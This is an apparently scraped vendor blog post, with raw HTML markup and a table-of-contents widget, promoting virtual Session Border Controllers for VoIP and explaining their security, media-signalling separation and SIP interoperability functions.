While <a href=\"https:\/\/www.revesoft.com\/products\/reve-session-border-controller\" target=\"_blank\" rel=\"noopener\">Session Border controller <\/a>is available in both hardware and software forms, here we are going to focus on the software form which is also known as Virtual SBC.<\/p>\n<p>Session in networking refers to an interactive interchange of information between multiple communication devices or between a user and a computer. There are media streams in the calls which work to carry the audio and video elements of the call along with other data.<\/p>\n<p>With the dramatic increase in its user base and popularity, VoIP Technology is gradually taking over the centre-stage while the traditional forms of telecommunication are getting side-lined. Although VoIP technology is over a decade old, the transition of the public network to packet-switched from circuit-switched is still going on.<\/p>\n<p>Enterprises and service providers are rapidly converging towards Unified Communication. Talking about\u00a0<a href=\"https:\/\/en.wikipedia.org\/wiki\/Unified_communications\" target=\"_blank\" rel=\"noopener\">Unified Communication<\/a>, it\u00a0 refers to the phone system that unifies multiple\u00a0communication\u00a0methods within an enterprise or organization.<\/p>\n<p>For enabling a session-based communication, it requires control of the session from its source to its defined endpoint. However, there is no single IP network that covers a vast distance for enabling that level of control. In addition to that, the internet lacks the fundamental quality of service (QoS) and security mechanisms. These are necessary for delivering security and quality consistently, which the users expect for all real-time multimedia communications.<\/p>\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_42 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title\">Table of Contents<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" area-label=\"ez-toc-toggle-icon-1\"><label for=\"item-691d4f71eedec\" aria-label=\"Table of Content\"><span style=\"display: flex;align-items: center;width: 35px;height: 30px;justify-content: center;direction:ltr;\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/label><input  type=\"checkbox\" id=\"item-691d4f71eedec\"><\/a><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 eztoc-visibility-hide-by-default' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/www.revesoft.com\/blog\/sbc\/importance-virtual-session-border-controller\/#Why_Do_you_Need_Virtual_Session_Border_Controllers\" title=\"Why Do you Need Virtual Session Border Controllers?\">Why Do you Need Virtual Session Border Controllers?<\/a><ul class='ez-toc-list-level-3'><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/www.revesoft.com\/blog\/sbc\/importance-virtual-session-border-controller\/#5_Reasons_why_a_Virtual_SBC_is_beneficial\" title=\"5 Reasons why a Virtual SBC is beneficial:\">5 Reasons why a Virtual SBC is beneficial:<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/www.revesoft.com\/blog\/sbc\/importance-virtual-session-border-controller\/#Functions_of_a_Virtual_Session_Border_Controller\" title=\"Functions of a Virtual Session Border Controller\">Functions of a Virtual Session Border Controller<\/a><ul class='ez-toc-list-level-3'><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/www.revesoft.com\/blog\/sbc\/importance-virtual-session-border-controller\/#Robust_Security\" title=\"Robust Security\">Robust Security<\/a><ul class='ez-toc-list-level-4'><li class='ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/www.revesoft.com\/blog\/sbc\/importance-virtual-session-border-controller\/#Some_important_details_of_the_security_feature_are_explained_below\" title=\"Some important details of the security feature are explained below:\">Some important details of the security feature are explained below:<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/www.revesoft.com\/blog\/sbc\/importance-virtual-session-border-controller\/#Distributed_Architecture_for_Media_Signalling\" title=\"Distributed Architecture for Media Signalling\">Distributed Architecture for Media Signalling<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/www.revesoft.com\/blog\/sbc\/importance-virtual-session-border-controller\/#Interoperability_between_Signalling_and_Media_Elements\" title=\"Interoperability between Signalling and Media Elements\">Interoperability between Signalling and Media Elements<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/www.revesoft.com\/blog\/sbc\/importance-virtual-session-border-controller\/#Availability_High_Performance_Scalability\" title=\"Availability, High Performance &amp;

For example when a session is established between internal and external network, in actuality there are 2 sessions. Firstly, one from an internal element to SBC. Secondly, from the SBC to the external element. And throughout the process, SBC negotiates the call parameters separately to both ends. This not only allows for full control of the sessions but also conceals the internal network from outside.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"5_Reasons_why_a_Virtual_SBC_is_beneficial\"><\/span>5 Reasons why a Virtual SBC is beneficial:<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<ul>\n<li>The security needs are complex because it is difficult to identify each participant.<\/li>\n<li>With the advancement of technology, the number of session signalling protocols, codecs, and related standards continues to evolve.<\/li>\n<li>The addressing schemes are not compatible or consistent across networks<\/li>\n<li>Some resources are finite, for example, bandwidth and signalling element<\/li>\n<li>Network flexibility is necessary. The business models and regulatory compliance requirements of communication service providers change with time and hence the requirement.<\/li>\n<\/ul>\n<p>For successful session-based communications, there has to be a close integration between signalling and media control. Further, the existing network elements such as Unified Communications (UC) servers, routers, soft-switches, IP private branch exchanges (PBXs), and data firewalls do not offer the control functions necessary for session-based communications.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Functions_of_a_Virtual_Session_Border_Controller\"><\/span>Functions of a Virtual Session Border Controller<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<h3><span class=\"ez-toc-section\" id=\"Robust_Security\"><\/span>Robust Security<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-2459 alignleft\" src=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2020\/01\/Robust-Security.jpg\" alt=\"Robust Security\" width=\"422\" height=\"281\" srcset=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2020\/01\/Robust-Security.jpg 1152w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2020\/01\/Robust-Security-300x200.jpg 300w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2020\/01\/Robust-Security-768x512.jpg 768w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2020\/01\/Robust-Security-1024x683.jpg 1024w\" sizes=\"auto, (max-width: 422px) 100vw, 422px\" \/><\/p>\n<p>Virtualized SBC offers enhanced security and encryption services to protect privacy (through IP address and topology concealment) and prevent security breaches.

The distributed structure separates media plane functions such as TDM to VoIP interworking, from signalling plane functions, such as signalling protocol interworking and call control.<\/p>\n<p>This, therefore, permits the independent scaling of call control and media capacity. In addition to this, it also allows the signalling and media elements to be geographically distributed. Thereafter it benefits from the centralization of all the complicated configurations in the signalling plane.<\/p>\n<p>Virtual Session Border Controller, therefore, offer independent and on-demand dynamic scaling of signalling and media traffic and media transcoding for flexible SIP session routing.<\/p>\n<p>While a basic IP Firewall offers basic support for SIP, it cannot manipulate or control real-time IP communications sessions.

The high flexibility design of SIP specifications offers a variety of implementation choices along with many optional features and functions.<\/p>\n<p>As a result, while the solutions are fully SIP-compliant, they are not compatible. This, therefore, brings interoperability challenges that delay VoIP and UC functions and leads to disturbances and losses.<\/p>\n<p>The Interoperability features of SBCs act as back-to-back user agents by making individual connections to each participating device and routing the appropriate traffic to and from each device.<\/p>\n<p>SBCs offer extensive protocol normalization and mediation functions.
